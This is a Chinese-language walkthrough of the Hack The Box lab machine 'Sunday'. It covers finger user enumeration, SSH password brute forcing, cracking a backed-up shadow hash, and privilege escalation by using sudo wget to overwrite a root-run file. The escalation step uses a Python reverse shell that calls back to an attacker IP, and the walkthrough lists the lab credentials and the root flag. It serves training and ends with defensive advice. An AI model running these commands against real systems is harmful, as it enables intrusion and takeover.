[Meachines] [Easy] Sunday Finger网络用户枚举+Wget文件覆盖权限提升
字数 966 2025-08-19 12:41:16
Sunday Finger网络用户枚举与Wget文件覆盖权限提升技术分析
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.76 --min-rate 1000 -sC -sV
发现开放端口:
- 79/tcp - finger服务
- 111/tcp - rpcbind (RPC服务)
- 515/tcp - 打印机服务
- 6787/tcp - HTTP (Apache)
- 22022/tcp - SSH (OpenSSH 8.4)
1.2 Finger服务分析
Finger服务(79端口)返回信息显示可以枚举用户登录状态:
Login Name TTY Idle When Where
2. 用户枚举攻击
2.1 使用finger-user-enum工具
- 下载工具:
wget http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz
- 解压并运行:
tar -zxvf finger-user-enum-1.0.tar.gz
cd finger-user-enum-1.0
./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76
2.2 暴力破解SSH密码
使用Hydra进行SSH密码爆破:
hydra -L user.txt -p 'sunday' ssh://10.10.10.76:22022
成功获取凭据:
- 用户名: sunny
- 密码: sunday
3. 初始访问与横向移动
3.1 通过SSH登录
ssh -p 22022 sunny@10.10.10.76
3.2 查找敏感文件
发现备份的shadow文件:
cat /backup/shadow.backup
3.3 密码破解
- 提取hash并保存:
echo '$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB'>hash
- 使用hashcat破解:
hashcat -m 7400 hash /usr/share/wordlists/rockyou.txt --force
获取新凭据:
- 用户名: sammy
- 密码: cooldude!
3.4 横向移动到sammy账户
ssh -p 22022 sammy@10.10.10.76
4. 权限提升
4.1 发现sudo权限
检查发现sammy可以使用sudo执行wget:
sudo /usr/bin/wget
4.2 利用wget覆盖文件
- 准备反向shell脚本(reverse.py):
#!/usr/bin/python
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.18",10032))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
- 使用wget覆盖root目录下的文件:
sudo /usr/bin/wget http://10.10.16.18/reverse.py -O /root/troll
- 执行被覆盖的文件获取root shell:
sudo /root/troll
注意:脚本会每五秒自动恢复初始状态,需要快速操作。
4.3 获取root flag
cat /root/Root.txt
root flag: 59b946dc21f12651e440bbfd962cbff0
5. 关键知识点总结
-
Finger服务枚举:古老的finger服务(79端口)可以泄露系统用户信息
-
密码策略分析:
- 使用常见密码"sunday"成功爆破
- 备份的shadow文件暴露了其他用户hash
-
横向移动技术:
- 通过密码重用和hash破解获取其他账户
- 利用备份文件中的敏感信息
-
权限提升技巧:
- 滥用sudo权限下的wget命令
- 文件覆盖攻击
- 注意系统有自动恢复机制,需要快速操作
-
防御建议:
- 关闭不必要的finger服务
- 禁止敏感文件(如shadow)的备份
- 限制sudo权限,特别是网络相关命令
- 实施文件完整性监控